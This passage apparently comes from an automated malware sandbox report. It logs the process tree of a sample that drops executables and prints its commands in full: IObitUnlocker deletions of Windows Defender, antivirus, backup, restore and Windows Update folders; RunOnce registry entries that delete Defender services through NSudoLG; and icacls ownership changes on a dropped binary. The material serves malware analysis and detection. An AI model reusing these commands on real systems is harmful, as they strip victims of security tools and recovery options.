dows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\drivers\wuauserv.sys","C:\Windows\SysWOW64\drivers\wuauserv.sys","C:\Windows\system32\drivers\BITS.sys","C:\Windows\SysWOW64\drivers\BITS.sys","C:\Windows\system32\migwiz","C:\Windows\system32\migration","C:\Windows\SysWOW64\migwiz","C:\Windows\SysWOW64\migration","C:\Windows\Migration","C:\Windows\SystemMigration","C:\ProgramData\Microsoft\Network\Downloader","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4308
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\drivers\wuauserv.sys","C:\Windows\SysWOW64\drivers\wuauserv.sys","C:\Windows\system32\drivers\BITS.sys","C:\Windows\SysWOW64\drivers\BITS.sys","C:\Windows\system32\migwiz","C:\Windows\system32\migration","C:\Windows\SysWOW64\migwiz","C:\Windows\SysWOW64\migration","C:\Windows\Migration","C:\Windows\SystemMigration","C:\ProgramData\Microsoft\Network\Downloader","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of SetWindowsHookEx
                                        PID:3968
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                        7⤵
                                        • Executes a command shell one-liner
                                        PID:900
                                        • C:\Windows\system32\sc.exe
                                          sc stop IObitUnlocker
                                          8⤵
                                          • Launches sc.exe
                                          PID:4672
                                        • C:\Windows\system32\sc.exe
                                          sc delete IObitUnlocker
                                          8⤵
                                          • Launches sc.exe
                                          PID:948
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5728"
                                        7⤵
                                        • Executes a command shell one-liner
                                        PID:5972
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /f /pid "5728"
                                          8⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:812
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                      6⤵
                                      • System Location Discovery: System Language Discovery
                                      • Modifies data under HKEY_USERS
                                      PID:4304
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                      6⤵
                                        PID:4256
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                        6⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:1228
                              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2d9777.exe
                                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2d9777.exe
                                2⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5880
                            • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1U32L5.exe
                              C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1U32L5.exe
                              1⤵
                              • Executes dropped EXE
                              • Drops file in Windows directory
                              • Suspicious use of WriteProcessMemory
                              PID:5060
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c icacls "C:\Windows\tfYkWoO9.exe" /setowner "SYSTEM"
                                2⤵
                                • Executes a command shell one-liner
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of WriteProcessMemory
                                PID:4900
                                • C:\Windows\SysWOW64\icacls.exe
                                  icacls "C:\Windows\tfYkWoO9.exe" /setowner "SYSTEM"
                                  3⤵
                                  • Modifies file permissions
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5692
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c icacls "C:\Windows\tfYkWoO9.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                                2⤵
                                • Executes a command shell one-liner
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of WriteProcessMemory
                                PID:1716
                                • C:\Windows\SysWOW64\icacls.exe
                                  icacls "C:\Windows\tfYkWoO9.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                                  3⤵
                                  • Modifies file permissions
                                  • System Location Discovery: System Language Discovery
                                  PID:5600
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c icacls "C:\Windows\tfYkWoO9.exe" /remove:d Everyone Administrators
                                2⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:1052
                                • C:\Windows\SysWOW64\icacls.exe
                                  icacls "C:\Windows\tfYkWoO9.exe" /remove:d Everyone Administrators
                                  3⤵
                                  • Modifies file permissions
                                  PID:456
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5948
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5948 -s 536
                                  3⤵
                                  • Program crash
                                  PID:3024
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1548
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 508
                                  3⤵
                                  • Program crash
                                  PID:1028
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3952
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 508
                                  3⤵
                                  • Program crash
                                  PID:2480
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:5108
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5108 -s 508
                                  3⤵
                                  • Program crash
                                  PID:4428
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3016
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 508
                                  3⤵
                                  • Program crash
                                  PID:4444
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4148
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 508
                                  3⤵
                                  • Program crash
                                  PID:3468
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4508
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 508
                                  3⤵
                                  • Program crash
                                  PID:5744
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2616
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2616 -s 508
                                  3⤵
                                  • Program crash
                                  PID:4428
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1876
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1876 -s 508
                                  3⤵
                                  • Program crash
                                  PID:3116
                              • C:\Windows\tfYkWoO9.exe
                                "C:\Windows\tfYkWoO9.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3276
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 508
                                  3⤵
                                  • Program crash
                                  PID:4156
